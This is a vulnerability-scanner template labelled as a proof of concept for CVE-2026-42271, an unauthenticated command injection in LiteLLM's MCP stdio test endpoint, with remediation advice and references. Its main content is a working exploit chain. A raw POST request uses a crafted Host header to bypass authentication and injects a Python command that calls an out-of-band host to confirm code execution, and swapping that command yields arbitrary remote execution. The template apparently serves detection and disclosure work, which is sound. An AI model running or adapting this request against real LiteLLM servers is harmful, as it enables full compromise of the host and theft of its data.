A critical unauthenticated remote code execution vulnerability exists in LiteLLM due to improper input handling in the MCP stdio test endpoint. An attacker can send a specially crafted request to the `/mcp-rest/test/connection` endpoint with controlled parameters, resulting in arbitrary command execution on the server. When combined with an authentication bypass technique—such as the Starlette BadHost flaw (CVE-2026-48710)—an unauthenticated attacker can exploit the chain to execute commands as the server process. Exploitation allows an attacker to spawn processes with the privileges of the LiteLLM server, potentially leading to complete compromise of the host.
PoC
id: CVE-2026-42271
info:
name: LiteLLM - Command Injection
author: ritikchaddha
severity: critical
description: |
A critical unauthenticated remote code execution vulnerability exists in LiteLLM due to improper input handling in the MCP stdio test endpoint. An attacker can send a specially crafted request to the `/mcp-rest/test/connection` endpoint with controlled parameters, resulting in arbitrary command execution on the server. When combined with an authentication bypass technique—such as the Starlette BadHost flaw (CVE-2026-48710)—an unauthenticated attacker can exploit the chain to execute commands as the server process. Exploitation allows an attacker to spawn processes with the privileges of the LiteLLM server, potentially leading to complete compromise of the host.
impact: |
Successful exploitation allows unauthenticated remote attackers to execute arbitrary commands on affected LiteLLM instances, potentially leading to full system compromise, lateral movement, data theft, and persistent access.
remediation: |
Upgrade LiteLLM to version 1.83.7 or later to remediate this vulnerability. If immediate patching is not possible, restrict access to the `/mcp-rest/test/connection` endpoint and ensure authentication verification is robust.
reference:
- https://horizon3.ai/attack-research/vulnerabilities/cve-2026-42271-chained-with-cve-2026-48710/
- https://github.com/BerriAI/litellm/security/advisories/GHSA-v4p8-mg3p-g94g
- https://github.com/BerriAI/litellm/pull/25343
- https://nvd.nist.gov/vuln/detail/CVE-2026-42271
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2026-42271
epss-score: 0.83594
epss-percentile: 0.99668
cwe-id: CWE-77
metadata:
max-request: 1
vendor: berriai
product: litellm
tags: cve,cve2026,litellm,rce,command-injection,mcp,starlette,kev,vkev
variables:
payload: '{"transport":"stdio","command":"python","args":["-c","import urllib.request;urllib.request.urlopen(''https://{{interactsh-url}}'')"]}'
http:
- raw:
- |
POST /mcp-rest/test/connection HTTP/1.1
Host: a/?x=
Content-Type: application/json
Content-Length: {{len(payload)}}
{{payload}}
unsafe: true
matchers-condition: and
matchers:
- type: word
part: body
words:
- "Failed to connect to MCP server"
- type: status
status:
- 200
- type: word
part: interactsh_protocol
words:
- "http"
extractors:
- type: kval
kval:
- interactsh_ip
# digest: 4a0a0047304502206260442a5c7fa7e9544037c2b077915b3477c469dadc3fd4d34509a55242bcfb022100df9c723e15fbb55809b4dba044b85d5562032218996b96e3b3c8dbed772b32d6:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.